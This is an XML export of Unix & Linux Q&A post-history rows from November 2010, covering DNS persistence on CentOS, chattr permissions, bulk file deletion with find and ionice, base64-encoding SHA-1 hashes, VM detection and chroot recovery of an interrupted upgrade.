  <row Id="7845" PostHistoryTypeId="2" PostId="3668" RevisionGUID="0beb5019-a38c-49b0-9e4a-8014b354e4ef" CreationDate="2010-11-01T04:22:37.200" UserId="29" Text="Almost every distro I know will wipe `/etc/resolv.conf` on reboot (I think dhcp does this) and thus the place to add static dhcp entries varies per distro. How to I add static dns servers to a CentOS server? so that I know that my entries will survive a reboot?" />
  <row Id="7846" PostHistoryTypeId="1" PostId="3668" RevisionGUID="0beb5019-a38c-49b0-9e4a-8014b354e4ef" CreationDate="2010-11-01T04:22:37.200" UserId="29" Text="What file to I have to edit to make static dns server in CentOS" />
  <row Id="7847" PostHistoryTypeId="3" PostId="3668" RevisionGUID="0beb5019-a38c-49b0-9e4a-8014b354e4ef" CreationDate="2010-11-01T04:22:37.200" UserId="29" Text="énetworkingàécentosàédnsàédnsöresolutionà" />
  <row Id="7848" PostHistoryTypeId="2" PostId="3669" RevisionGUID="ccd9bfd7-8e03-4746-813b-3d0d6f0e21ec" CreationDate="2010-11-01T05:28:29.140" UserId="29" Text="I there any `chattr` flag that would allow me to lock a files unix permissons, and not change them without resetting the flag. The file itself should still be modifiable, I just want to prevent ... ignorant people ...  from changing the permissions to something wrong accidentally." />
  <row Id="7849" PostHistoryTypeId="1" PostId="3669" RevisionGUID="ccd9bfd7-8e03-4746-813b-3d0d6f0e21ec" CreationDate="2010-11-01T05:28:29.140" UserId="29" Text="immutable like flag for perms" />
  <row Id="7850" PostHistoryTypeId="3" PostId="3669" RevisionGUID="ccd9bfd7-8e03-4746-813b-3d0d6f0e21ec" CreationDate="2010-11-01T05:28:29.140" UserId="29" Text="éfilesystemsàépermissionsàéchattrà" />
  <row Id="7851" PostHistoryTypeId="2" PostId="3670" RevisionGUID="fa8a93b7-0cac-441a-918d-2cad476b521c" CreationDate="2010-11-01T05:45:49.340" UserId="1327" Text="It would really just come down to how you configure your **[dhcp client][1]**.&#xD;&#xA;&#xD;&#xA;From the link provided, it seems the relevant file will be&#xD;&#xA;&#xD;&#xA;    /etc/sysconfig/network-scripts/ifcfg-eth0&#xD;&#xA;&#xD;&#xA;[1]:http://www.centos.org/docs/5/html/Deployment_Guide-en-US/s1-dhcp-configuring-client.html" />
  <row Id="7852" PostHistoryTypeId="5" PostId="3605" RevisionGUID="614657c3-160d-4291-96c0-ad9ee4338242" CreationDate="2010-11-01T07:09:08.327" UserId="1452" Comment="added 691 characters in body" Text="I use a wired PPPoE connection to connect to the Internet. What I need to do on Windows to connect to it is put in static IP address, gateway, subnet mask and DNS servers for my LAN card. Next I have to create a dialer for a PPPoE connection, put in my user name, the service name and the password, and &quot;dial&quot; this connection. And it works fine.&#xD;&#xA;&#xD;&#xA;On Ubuntu 10.04, however, I have tried setting things up in a similar fashion - put in all static addresses for the &quot;automatic&quot; wired connection, then put in user name, service name, password for a &quot;DSL&quot; connection. It worked for a while, then stopped. I have tried putting in _all_ the details within the DSL configuration dialog, same thing happened - it worked for a while, then stopped. I have tried deleting the ethernet connection and only keeping the DSL one with all the numbers put in place, same thing happened - it worked for a while, then stopped. Each of the times, when it connected, it connected randomly, after trying a few times, and either stopped working within a few minutes, or after I had rebooted. I have deleted and remade the connection dozens of times - even with different names, but nothing seems to be working.&#xD;&#xA;&#xD;&#xA;I have also tried &lt;code&gt;pppoeconf&lt;/code&gt; from the terminal, didn't work.&#xD;&#xA;&#xD;&#xA;Based on Gilles' suggestion, I have checked &lt;code&gt;/var/log/kern.log&lt;/code&gt;, but nothing changes in the file when I try to connect. I have also checked &lt;code&gt;/sbin/route&lt;/code&gt;, but gedit can't even open it (says it can't figure the character encoding...).&#xD;&#xA;&#xD;&#xA;The &quot;connection established&quot; notification pops up from the top right corner, the same way as when the computer is _actually_ connected to a network.&#xD;&#xA;&#xD;&#xA;Can anyone figure what's wrong and how it can be solved?" />
  <row Id="7853" PostHistoryTypeId="2" PostId="3671" RevisionGUID="6f3c9632-edf5-4457-8696-07fc794ea1cf" CreationDate="2010-11-01T08:08:23.273" UserId="2091" Text="Ok, here are some steps: &#xD;&#xA;&#xD;&#xA;First of all, prepare your hard disk. I use the parted live cd for that. So you don't have to worry about partitioning while you're installing the distributions. &#xD;&#xA;&#xD;&#xA;-&#xD;&#xA;&#xD;&#xA; - Use the following layout:  One&#xD;&#xA;   primary Windows NTFS partition; One&#xD;&#xA;   primary Linux partition, which has a&#xD;&#xA;   size of ~200 MB for /boot (ext2 oder&#xD;&#xA;   3). Two primary Linux partitions&#xD;&#xA;   (ext4), One logical partition for&#xD;&#xA;   swap. This should be twice the size&#xD;&#xA;   of your ram. &#xD;&#xA;&#xD;&#xA; - Install Windows&#xD;&#xA;&#xD;&#xA; - Install the first Linux Distribution, with grub as bootloader&#xD;&#xA;&#xD;&#xA; - Install the second Linux Distribution, don't install a bootloader&#xD;&#xA;&#xD;&#xA; - But into the first Linux Distribution, edit /boot/grub/menu.lst and add the second linux distribution&#xD;&#xA;&#xD;&#xA;-&#xD;&#xA;&#xD;&#xA;That's it. Windows should be added to grubs menu.lst automatically. &#xD;&#xA;If you want to install 2 distributions, that name their kernels the same way, you'll have to reboot into the first linux distro before installing the second one, and rename your kernel to something else, and change the menu.lst file to match it. " />
  <row Id="7854" PostHistoryTypeId="2" PostId="3672" RevisionGUID="e9054656-0d28-40f7-b387-3ea6d9632242" CreationDate="2010-11-01T08:50:19.967" UserId="1898" Text="I want to delete all files with a given name in all the subdirectories of my home directory.&#xD;&#xA;&#xD;&#xA;I tried:&#xD;&#xA;&#xD;&#xA;    rm -r file&#xD;&#xA;&#xD;&#xA;in my home directory, but it didn't work because that file doesn't exist in that directory.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7855" PostHistoryTypeId="1" PostId="3672" RevisionGUID="e9054656-0d28-40f7-b387-3ea6d9632242" CreationDate="2010-11-01T08:50:19.967" UserId="1898" Text="How do I delete all files with a given name in all subdirectories?" />
  <row Id="7856" PostHistoryTypeId="3" PostId="3672" RevisionGUID="e9054656-0d28-40f7-b387-3ea6d9632242" CreationDate="2010-11-01T08:50:19.967" UserId="1898" Text="éshellàédirectoryà" />
  <row Id="7857" PostHistoryTypeId="2" PostId="3673" RevisionGUID="4546a74a-c2d3-4390-9e1d-4473b35451d1" CreationDate="2010-11-01T08:50:23.893" UserId="2359" Text="For CentOS it looks like you add `PEERDNS=no` to `/etc/sysconfig/network-scripts/ifcfg-eth0` (see [the documentation][1]).&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;More generically, iIf you're using `dhclient` then put the following in your dhclient.conf file:&#xD;&#xA;&#xD;&#xA;    interface &quot;eth0&quot; {&#xD;&#xA;     supersede domain-name-servers 8.8.4.4, 8.8.8.8;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;For `dhcpcd` you add the `-R` option to the command line to stop it changing `/etc/resolv.conf`.&#xD;&#xA;&#xD;&#xA;Finally `pump` uses the `-d` option on the command line to stop it changing `/etc/resolv.conf`.&#xD;&#xA;&#xD;&#xA; [1]: http://www.centos.org/docs/5/html/Deployment_Guide-en-US/s1-dhcp-configuring-client.html" />
  <row Id="7858" PostHistoryTypeId="2" PostId="3674" RevisionGUID="8afecbb6-483a-4263-a7b1-596a453042d5" CreationDate="2010-11-01T08:58:52.680" UserId="33" Text="`find . -name &quot;filename&quot; -delete`" />
  <row Id="7859" PostHistoryTypeId="2" PostId="3675" RevisionGUID="8ec79a5b-10a2-4390-8b1c-89e97e4ff183" CreationDate="2010-11-01T09:18:19.190" UserId="29" Text="`sha1sum` outputs a hex encoded format of the actual sha. I would like to see a base64 encoded variant. possibly some command that outputs the binary version that I can pipe, like so: `echo -n &quot;message&quot; | &lt;some command&gt; | base64` or if it outputs it directly that's fine too." />
  <row Id="7860" PostHistoryTypeId="1" PostId="3675" RevisionGUID="8ec79a5b-10a2-4390-8b1c-89e97e4ff183" CreationDate="2010-11-01T09:18:19.190" UserId="29" Text="How can I get a base64 encoded shaX on the cli?" />
  <row Id="7861" PostHistoryTypeId="3" PostId="3675" RevisionGUID="8ec79a5b-10a2-4390-8b1c-89e97e4ff183" CreationDate="2010-11-01T09:18:19.190" UserId="29" Text="éencryptionàécryptographyàéencodingàébase64à" />
  <row Id="7862" PostHistoryTypeId="2" PostId="3676" RevisionGUID="6d4cc0c6-0097-4ce6-9557-bbb71a7e6c38" CreationDate="2010-11-01T09:30:59.787" UserId="2058" Text="as an elaboration on @tante's answer, you may wish to ensure the file list used is correct before deleting those files:&#xD;&#xA;&#xD;&#xA;    find &lt;source_dir&gt; -name &lt;filename&gt; -print&#xD;&#xA;&#xD;&#xA;if inspection shows valid list then&#xD;&#xA;&#xD;&#xA;    find &lt;source_dir&gt; -name &lt;filename&gt; -delete&#xD;&#xA;&#xD;&#xA;another option if wanting this over many directories using a temporary holding directory:&#xD;&#xA;&#xD;&#xA;    mkdir &lt;dest_dir&gt;&#xD;&#xA;    for i in &lt;list_of_directories&gt;&#xD;&#xA;    do&#xD;&#xA;      find $i -name &lt;filename&gt; -exec /bin/mv {} &lt;dest_dir&gt;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;    # check dest_dir&#xD;&#xA;    ls dest_dir&#xD;&#xA;    rm -rf &lt;dest_dir&gt;&#xD;&#xA;&#xD;&#xA;As always, please ensure the accuracy of any scripts before execution and always have a backup ready in-case something goes wrong." />
  <row Id="7867" PostHistoryTypeId="2" PostId="3678" RevisionGUID="400c80f0-22d6-40c1-b5b1-8c6d2ce2e6cd" CreationDate="2010-11-01T10:21:32.523" UserId="1946" Text="Since `sha1sum` doesn't provide an option for binary output you'll likely need to find an utility which does the opposite of `od` and pipe them like this:&#xD;&#xA;&#xD;&#xA;`sha1sum | cut -f1 -d\  | reverse_od --with-proper-args | base64`&#xD;&#xA;&#xD;&#xA;So the only thing that's missing here is `reverse_od`.  Anyone volunteer to fill the gap? :)" />
  <row Id="7868" PostHistoryTypeId="2" PostId="3679" RevisionGUID="35e943b6-975f-42e2-a0dd-53f96a7d47f1" CreationDate="2010-11-01T10:58:15.520" UserId="1797" Text="I accidently created 8 million files and every time I'm trying to delete them the server almost dies because of the rm process eating all disk IO (the server is remote without console).&#xD;&#xA;&#xD;&#xA;Should something like this work i.e. invoking ionice?&#xD;&#xA;&#xD;&#xA;sudo find /var/lib/php5/ -type f -exec ionice -c3 rm -f {} \;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7869" PostHistoryTypeId="1" PostId="3679" RevisionGUID="35e943b6-975f-42e2-a0dd-53f96a7d47f1" CreationDate="2010-11-01T10:58:15.520" UserId="1797" Text="Deleteing lots of files" />
  <row Id="7870" PostHistoryTypeId="3" PostId="3679" RevisionGUID="35e943b6-975f-42e2-a0dd-53f96a7d47f1" CreationDate="2010-11-01T10:58:15.520" UserId="1797" Text="éfindàéioà" />
  <row Id="7871" PostHistoryTypeId="2" PostId="3680" RevisionGUID="5bb5a00a-3322-4269-b60a-b651dd23b385" CreationDate="2010-11-01T11:20:21.763" UserId="2179" Text="I'd do something like this:&#xD;&#xA;&#xD;&#xA;    import os&#xD;&#xA;    os.nice(19)&#xD;&#xA;    dir = &quot;/var/lib/php5/&quot;&#xD;&#xA;    bad_files = [os.join(dir, file) for file in os.listdir(dir)&#xD;&#xA;                         if is_bad(os.join(dir, file))]&#xD;&#xA;    for junk in bad_files:&#xD;&#xA;      os.unlink(junk)&#xD;&#xA;      time.sleep(0.1)" />
  <row Id="7872" PostHistoryTypeId="5" PostId="3679" RevisionGUID="8ad7be19-566d-4418-a0ab-f4daf84ddf0d" CreationDate="2010-11-01T11:57:41.280" UserId="29" Comment="use command syntax for the command" Text="I accidently created 8 million files and every time I'm trying to delete them the server almost dies because of the rm process eating all disk IO (the server is remote without console).&#xD;&#xA;&#xD;&#xA;Should something like this work i.e. invoking ionice?&#xD;&#xA;&#xD;&#xA;`sudo find /var/lib/php5/ -type f -exec ionice -c3 rm -f {} \;`&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7873" PostHistoryTypeId="2" PostId="3681" RevisionGUID="dd9b02b1-ee0f-4c33-b13b-b145fea6b2c0" CreationDate="2010-11-01T12:00:11.090" UserId="29" Text="I would do it like this...&#xD;&#xA;&#xD;&#xA;`sudo ionice -c3 find /var/lib/php5/ -type f -exec  rm -f '{}' +`&#xD;&#xA;&#xD;&#xA;the `+` is more xargs like (I think), and thus more efficient at very large numbers of files. putting ionice on the whole command should make every sub command also ioniced, as well as the search itself. Have you tried this?&#xD;&#xA;&#xD;&#xA;you could also make it [really nice][1] `nice -n 19 ionice -c 3 programname` though it shouldn't be necessary.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.xenoterracide.com/2008/04/really-nice.html" />
  <row Id="7874" PostHistoryTypeId="2" PostId="3682" RevisionGUID="74c35386-7a92-4184-8c56-c5963e09a132" CreationDate="2010-11-01T12:05:46.870" UserId="29" Text="What's the `+` in `find /path/ -exec command '{}' +` do? as opposed to `find /path/ -exec command '{}' \;`" />
  <row Id="7875" PostHistoryTypeId="1" PostId="3682" RevisionGUID="74c35386-7a92-4184-8c56-c5963e09a132" CreationDate="2010-11-01T12:05:46.870" UserId="29" Text="What's the + in  find /path/ -exec command '{}' + do?" />
  <row Id="7876" PostHistoryTypeId="3" PostId="3682" RevisionGUID="74c35386-7a92-4184-8c56-c5963e09a132" CreationDate="2010-11-01T12:05:46.870" UserId="29" Text="éfindà" />
  <row Id="7877" PostHistoryTypeId="2" PostId="3683" RevisionGUID="86a39df0-fe6b-45a0-aaad-85456bdfa109" CreationDate="2010-11-01T12:39:22.960" UserId="33" Text="From the man page:&#xD;&#xA;&#xD;&#xA;&gt; -exec command {} +&#xD;&#xA;              &#xD;&#xA;&gt; This  variant  of the -exec action runs the specified command on&#xD;&#xA;              the selected files, but the command line is built  by  appending&#xD;&#xA;              each  selected file name at the end; the total number of invoca‐&#xD;&#xA;              tions of the command will  be  much  less  than  the  number  of&#xD;&#xA;              matched  files.   The command line is built in much the same way&#xD;&#xA;              that xargs builds its command lines.  Only one instance of  `{}'&#xD;&#xA;              is  allowed  within the command.  The command is executed in the&#xD;&#xA;              starting directory.&#xD;&#xA;" />
  <row Id="7878" PostHistoryTypeId="5" PostId="3683" RevisionGUID="a49df9e9-c372-4818-adb7-477d2510efd0" CreationDate="2010-11-01T12:51:15.473" UserId="29" Comment="remove man formatting" Text="From the man page:&#xD;&#xA;&#xD;&#xA;&gt; -exec command {} +&#xD;&#xA;              &#xD;&#xA;&gt; This  variant  of the -exec action runs the specified command on&#xD;&#xA;              the selected files, but the command line is built  by  appending&#xD;&#xA;              each  selected file name at the end; the total number of invocations of the command will  be  much  less  than  the  number  of&#xD;&#xA;              matched  files.   The command line is built in much the same way&#xD;&#xA;              that xargs builds its command lines.  Only one instance of  `{}'&#xD;&#xA;              is  allowed  within the command.  The command is executed in the&#xD;&#xA;              starting directory.&#xD;&#xA;" />
  <row Id="7879" PostHistoryTypeId="2" PostId="3684" RevisionGUID="28d14777-6e01-4b99-826f-41d43b9c8e8f" CreationDate="2010-11-01T13:43:30.337" UserId="678" Text="The '+' makes one big command line out of all found files to minimize the number of commands to be run.&#xD;&#xA;&#xD;&#xA;Given the case that a find command finds four files.&#xD;&#xA;&#xD;&#xA;    find . -type f -exec command '{}' \;&#xD;&#xA;would produce&#xD;&#xA;&#xD;&#xA;    command file1&#xD;&#xA;    command file2&#xD;&#xA;    command file3&#xD;&#xA;    command file4 &#xD;&#xA;&#xD;&#xA;On the other hand&#xD;&#xA;&#xD;&#xA;    find . -type f -exec command '{}' \+&#xD;&#xA;produces&#xD;&#xA;&#xD;&#xA;    command file1 file2 file3 file4&#xD;&#xA;" />
  <row Id="7880" PostHistoryTypeId="5" PostId="3679" RevisionGUID="df0bdb96-e22a-4a53-894d-72f78dec0ab9" CreationDate="2010-11-01T14:08:42.127" UserId="73" Comment="added 2 characters in body; edited title" Text="I accidentally created 8 million files and every time I'm trying to delete them the server almost dies because of the rm process eating all disk IO (the server is remote without console).&#xD;&#xA;&#xD;&#xA;Should something like this work i.e. invoking ionice?&#xD;&#xA;&#xD;&#xA;    sudo find /var/lib/php5/ -type f -exec ionice -c3 rm -f {} \;&#xD;&#xA;" />
  <row Id="7881" PostHistoryTypeId="4" PostId="3679" RevisionGUID="df0bdb96-e22a-4a53-894d-72f78dec0ab9" CreationDate="2010-11-01T14:08:42.127" UserId="73" Comment="added 2 characters in body; edited title" Text="Deleting lots of files" />
  <row Id="7882" PostHistoryTypeId="2" PostId="3685" RevisionGUID="1c49f72c-896d-4404-9d89-509b123eec58" CreationDate="2010-11-01T16:02:52.690" UserId="2142" Text="Is there any way to find out if the OS i'm running (actually installing) is running in a VMWare machine. I need to disable ntp settings if the automated install is done on a virtual machine but keep them enabled if " />
  <row Id="7883" PostHistoryTypeId="1" PostId="3685" RevisionGUID="1c49f72c-896d-4404-9d89-509b123eec58" CreationDate="2010-11-01T16:02:52.690" UserId="2142" Text="Find out if the OS is running in a virtual environment" />
  <row Id="7884" PostHistoryTypeId="3" PostId="3685" RevisionGUID="1c49f72c-896d-4404-9d89-509b123eec58" CreationDate="2010-11-01T16:02:52.690" UserId="2142" Text="éinstallàévmwareà" />
  <row Id="7885" PostHistoryTypeId="2" PostId="3686" RevisionGUID="305fda0d-c148-4974-aa21-ab1256a79f6d" CreationDate="2010-11-01T16:14:53.660" UserId="33" Text="The best idea would probably to look at the hardware: At least with Virtualbox you can easily determine that you are on a virtual machine due to the names of some of the hardware devices (for example /sys/block/sda/device/model will say &quot;VBOX HARDDISK&quot;).&#xD;&#xA;&#xD;&#xA;Since all your machines are VMware, just pick one of those things and check that." />
  <row Id="7886" PostHistoryTypeId="5" PostId="3685" RevisionGUID="dd10c557-d52d-4700-86c1-a246e13b126f" CreationDate="2010-11-01T16:15:23.943" UserId="33" Comment="added missing end of sentence" Text="Is there any way to find out if the OS i'm running (actually installing) is running in a VMWare machine. I need to disable ntp settings if the automated install is done on a virtual machine but keep them enabled if installing on bare metal." />
  <row Id="7887" PostHistoryTypeId="2" PostId="3687" RevisionGUID="94a0f532-0636-4266-b458-027fa657e11e" CreationDate="2010-11-01T16:38:07.583" UserId="688" Text="Go install [Debian][2] and try to do everything you did with whatever system you are more familiar with, and from there, go through a guide called [Debian Reference][1]. It's a basic intro to Debian and Unix concepts.&#xD;&#xA;&#xD;&#xA;Why Debian? It's what Ubuntu and Linux Mint are based on, and those 2 are the most popular Unix-like systems out there. That means if you get familiar with Debian, you will get familiar with those two.&#xD;&#xA;&#xD;&#xA;[__sidenote__] Can I also suggest that if you got a problem, come ask here, instead of the official channels. Why? This is more a centralised knowledge base, while the official channels are too scattered (there's dozens of Unix systems).&#xD;&#xA;&#xD;&#xA;[1]:http://www.debian.org/doc/manuals/reference/&#xD;&#xA;[2]:http://www.debian.org" />
  <row Id="7888" PostHistoryTypeId="5" PostId="3669" RevisionGUID="6c45668a-f5df-45c3-a948-83e133b18f5e" CreationDate="2010-11-01T16:56:51.097" UserId="250" Comment="added 1 characters in body" Text="I there any `chattr` flag that would allow me to lock a file's unix permissons, and not change them without resetting the flag. The file itself should still be modifiable, I just want to prevent ... ignorant people ...  from changing the permissions to something wrong accidentally." />
  <row Id="7889" PostHistoryTypeId="2" PostId="3688" RevisionGUID="026e53c7-77d0-4329-ac0f-49d1b073921d" CreationDate="2010-11-01T17:00:00.680" UserId="1207" Text="I'm not completely sure I understand what you want, but I think something like the following should work:&#xD;&#xA;&#xD;&#xA;    $ echo -ne &quot;$(echo -n &quot;message&quot; | sha1sum | cut -f1 -d&quot; &quot; | sed -e 's/\(.\{2\}\)/\\x\1/g')&quot;&#xD;&#xA;&#xD;&#xA;Basically, I take the hex output, use `sed` to make it a string of escaped hex values, and then use `echo -en` to echo the bytes into `base64`.&#xD;&#xA;&#xD;&#xA;We can confirm that the final output corresponds to the same hash with the following exercise:&#xD;&#xA;&#xD;&#xA;    $ echo -n &quot;message&quot; | sha1sum &#xD;&#xA;    6f9b9af3cd6e8b8a73c2cdced37fe9f59226e27d  -&#xD;&#xA;&#xD;&#xA;    $ echo -ne &quot;$(echo -n &quot;message&quot; | sha1sum | cut -f1 -d&quot; &quot; | sed -e 's/\(.\{2\}\)/\\x\1/g')&quot; | base64&#xD;&#xA;    b5ua881ui4pzws3O03/p9ZIm4n0=&#xD;&#xA;&#xD;&#xA;    $ echo -n &quot;b5ua881ui4pzws3O03/p9ZIm4n0=&quot; | base64 -d | xxd&#xD;&#xA;    0000000: 6f9b 9af3 cd6e 8b8a 73c2 cdce d37f e9f5  o....n..s.......&#xD;&#xA;    0000010: 9226 e27d                                .&amp;.}&#xD;&#xA;&#xD;&#xA;Visual inspection shows that are base64 value matches the original hex.  Note that if you use `hexdump` rather than `xxd` you may have to play with the format settings a bit to get the output you expect.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7890" PostHistoryTypeId="5" PostId="3688" RevisionGUID="eded2be7-1849-4187-ba81-1dd06c7fc62d" CreationDate="2010-11-01T17:06:31.977" UserId="1207" Comment="edited body" Text="I'm not completely sure I understand what you want, but I think something like the following should work:&#xD;&#xA;&#xD;&#xA;    $ echo -ne &quot;$(echo -n &quot;message&quot; | sha1sum | cut -f1 -d&quot; &quot; | sed -e 's/\(.\{2\}\)/\\x\1/g')&quot;&#xD;&#xA;&#xD;&#xA;Basically, I take the hex output, use `sed` to make it a string of escaped hex values, and then use `echo -en` to echo the bytes into `base64`.&#xD;&#xA;&#xD;&#xA;We can confirm that the final output corresponds to the same hash with the following exercise:&#xD;&#xA;&#xD;&#xA;    $ echo -n &quot;message&quot; | sha1sum &#xD;&#xA;    6f9b9af3cd6e8b8a73c2cdced37fe9f59226e27d  -&#xD;&#xA;&#xD;&#xA;    $ echo -ne &quot;$(echo -n &quot;message&quot; | sha1sum | cut -f1 -d&quot; &quot; | sed -e 's/\(.\{2\}\)/\\x\1/g')&quot; | base64&#xD;&#xA;    b5ua881ui4pzws3O03/p9ZIm4n0=&#xD;&#xA;&#xD;&#xA;    $ echo -n &quot;b5ua881ui4pzws3O03/p9ZIm4n0=&quot; | base64 -d | xxd&#xD;&#xA;    0000000: 6f9b 9af3 cd6e 8b8a 73c2 cdce d37f e9f5  o....n..s.......&#xD;&#xA;    0000010: 9226 e27d                                .&amp;.}&#xD;&#xA;&#xD;&#xA;Visual inspection shows that our base64 value matches the original hex.  Note that if you use `hexdump` rather than `xxd` you may have to play with the format settings a bit to get the output you expect.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7891" PostHistoryTypeId="5" PostId="3688" RevisionGUID="e33cdb4c-c7fd-4117-b230-fc015538695c" CreationDate="2010-11-01T17:25:05.337" UserId="1207" Comment="added 9 characters in body" Text="I'm not completely sure I understand what you want, but I think something like the following should work:&#xD;&#xA;&#xD;&#xA;    $ echo -ne &quot;$(echo -n &quot;message&quot; | sha1sum | cut -f1 -d&quot; &quot; | sed -e 's/\(.\{2\}\)/\\x\1/g')&quot; | base64&#xD;&#xA;&#xD;&#xA;Basically, I take the hex output, use `sed` to make it a string of escaped hex values, and then use `echo -en` to echo the bytes into `base64`.&#xD;&#xA;&#xD;&#xA;We can confirm that the final output corresponds to the same hash with the following exercise:&#xD;&#xA;&#xD;&#xA;    $ echo -n &quot;message&quot; | sha1sum &#xD;&#xA;    6f9b9af3cd6e8b8a73c2cdced37fe9f59226e27d  -&#xD;&#xA;&#xD;&#xA;    $ echo -ne &quot;$(echo -n &quot;message&quot; | sha1sum | cut -f1 -d&quot; &quot; | sed -e 's/\(.\{2\}\)/\\x\1/g')&quot; | base64&#xD;&#xA;    b5ua881ui4pzws3O03/p9ZIm4n0=&#xD;&#xA;&#xD;&#xA;    $ echo -n &quot;b5ua881ui4pzws3O03/p9ZIm4n0=&quot; | base64 -d | xxd&#xD;&#xA;    0000000: 6f9b 9af3 cd6e 8b8a 73c2 cdce d37f e9f5  o....n..s.......&#xD;&#xA;    0000010: 9226 e27d                                .&amp;.}&#xD;&#xA;&#xD;&#xA;Visual inspection shows that our base64 value matches the original hex.  Note that if you use `hexdump` rather than `xxd` you may have to play with the format settings a bit to get the output you expect.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7892" PostHistoryTypeId="5" PostId="3676" RevisionGUID="07b11b4a-c25e-440e-948b-ca9ee31267bd" CreationDate="2010-11-01T18:14:44.510" UserId="885" Comment="added quotes around variable substitution" Text="as an elaboration on @tante's answer, you may wish to ensure the file list used is correct before deleting those files:&#xD;&#xA;&#xD;&#xA;    find &lt;source_dir&gt; -name &lt;filename&gt; -print&#xD;&#xA;&#xD;&#xA;if inspection shows valid list then&#xD;&#xA;&#xD;&#xA;    find &lt;source_dir&gt; -name &lt;filename&gt; -delete&#xD;&#xA;&#xD;&#xA;another option if wanting this over many directories using a temporary holding directory:&#xD;&#xA;&#xD;&#xA;    mkdir &lt;dest_dir&gt;&#xD;&#xA;    for i in &lt;list_of_directories&gt;&#xD;&#xA;    do&#xD;&#xA;      find &quot;$i&quot; -name &lt;filename&gt; -exec /bin/mv {} &lt;dest_dir&gt;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;    # check dest_dir&#xD;&#xA;    ls dest_dir&#xD;&#xA;    rm -rf &lt;dest_dir&gt;&#xD;&#xA;&#xD;&#xA;As always, please ensure the accuracy of any scripts before execution and always have a backup ready in-case something goes wrong." />
  <row Id="7893" PostHistoryTypeId="2" PostId="3689" RevisionGUID="f7e66f41-1394-4a0f-93ae-57a524815cdb" CreationDate="2010-11-01T18:34:00.250" UserId="885" Text="I don't understand why you think you have to reinstall Linux (or Windows, for that matter). You seem to have had the bad luck that the power loss in the middle of the upgrade made your Linux installation unusable (or at least not easily usable), but that doesn't mean it's not recoverable.&#xD;&#xA;&#xD;&#xA;The easiest way to recover would be to boot from a live CD or USB disk (preferably from Ubuntu 10.04, though any recent enough Linux should work). (It's probably possible to repair your installation by booting it in a particular way, but the live CD approach is a little easier.) The following commands assume you have a shell (command line) running as root (administrator).&#xD;&#xA;&#xD;&#xA;* If you have an interface that offers to mount your existing Linux installation, do what it tells you. Otherwise, do it manually: use `fdisk -l` to see what partitions you have and locate the system partition. Mount it to some place. Also mount procfs and sysfs under it. For example, if your Linux partition is on `/dev/sda99`, run&#xD;&#xA;&#xD;&#xA;        mkdir /media/linux&#xD;&#xA;        mount /dev/sda99 /media/linux&#xD;&#xA;        mount -t proc proc /media/linux/proc&#xD;&#xA;        mount -t sysfs sysfs /media/linux/sys&#xD;&#xA;&#xD;&#xA;* Start a “subsession” in the Linux installation with [chroot](http://en.wikipedia.org/wiki/Chroot):&#xD;&#xA;&#xD;&#xA;        chroot /media/linux&#xD;&#xA;&#xD;&#xA;* You should now have a shell in your Linux installation. Run `apt-get install` or `dpkg --configure -a` to continue the upgrade. (Sometimes running these commands a few times can get rid of errors, or at least let a lot of things progress even if a few packages are blocked by an error.) It's possible that the crash left the system in a state where those commands aren't enough; if so, ask again, reporting the error messages you see.&#xD;&#xA;&#xD;&#xA;Note that I do not recommend accessing your Linux partition from Windows if the purpose is to extract important data. Windows tools for Linux filesystem access are not fully reliable, especially if the filesystem was not unmounted cleanly.&#xD;&#xA;" />
  <row Id="7894" PostHistoryTypeId="2" PostId="3690" RevisionGUID="de5e5991-d6c1-4efd-a3d2-acc8b0d89600" CreationDate="2010-11-01T18:49:41.300" UserId="885" Text="There is no such flag with Linux `chattr`. You can either make the file immutable or append-only (in either case, the file's permissions and ownership will be locked), or allow the owner of the file and root to change the permissions. (The immutable attribute on a directory prevents creating or removing files from it but not changing entries' metadata.)&#xD;&#xA;&#xD;&#xA;If changing the ownership of the file is acceptable, do it, and use access control lists (or group ownership) to give whoever needs it read and write access to the file. If this is a social issue where your fellow roots can't be relied on, I don't think you'll find a satisfactory technical issue.&#xD;&#xA;&#xD;&#xA;Disallowing the owner of a file to change permissions falls into the category of [mandatory access control](http://en.wikipedia.org/wiki/Mandatory_access_control), which is not something unix traditionally supports. There are several MAC frameworks on Linux, and the two major ones are [SELinux](http://en.wikipedia.org/wiki/Security-Enhanced_Linux) and [AppArmor](http://en.wikipedia.org/wiki/AppArmor); I don't know whether they do allow what you're trying to do.&#xD;&#xA;&#xD;&#xA;If this is a general problem, you could look into using a database for storage. You can typically give someone the permission to read and write to a table without letting them control the permissions.&#xD;&#xA;" />
  <row Id="7895" PostHistoryTypeId="2" PostId="3691" RevisionGUID="4166c503-6095-43b0-867e-18bf8959b4a3" CreationDate="2010-11-01T18:52:22.187" UserId="885" Text="Perl has a base64 module (in the base distribution since 5.7.1).&#xD;&#xA;&#xD;&#xA;    echo foo | sha1sum | \&#xD;&#xA;    perl -MMIME::Base64 -ne '/^([[:xdigit:]]+)/ and print encode_base64(pack(&quot;H*&quot;,$1))'&#xD;&#xA;" />
  <row Id="7896" PostHistoryTypeId="2" PostId="3692" RevisionGUID="87715c09-6677-46d9-a74e-e50c1ede6ecb" CreationDate="2010-11-01T20:43:12.153" UserId="2514" Text="I am looking for a vim theme accessible to users with red green color blindness. In particular, the red text on a dark terminal background all but disappears. Do any of you know of a good theme? Or have resources useful for designing one?&#xD;&#xA;" />
  <row Id="7897" PostHistoryTypeId="1" PostId="3692" RevisionGUID="87715c09-6677-46d9-a74e-e50c1ede6ecb" CreationDate="2010-11-01T20:43:12.153" UserId="2514" Text="red-green color blindness compatible vim theme" />
  <row Id="7898" PostHistoryTypeId="3" PostId="3692" RevisionGUID="87715c09-6677-46d9-a74e-e50c1ede6ecb" CreationDate="2010-11-01T20:43:12.153" UserId="2514" Text="évimàécolorsà" />
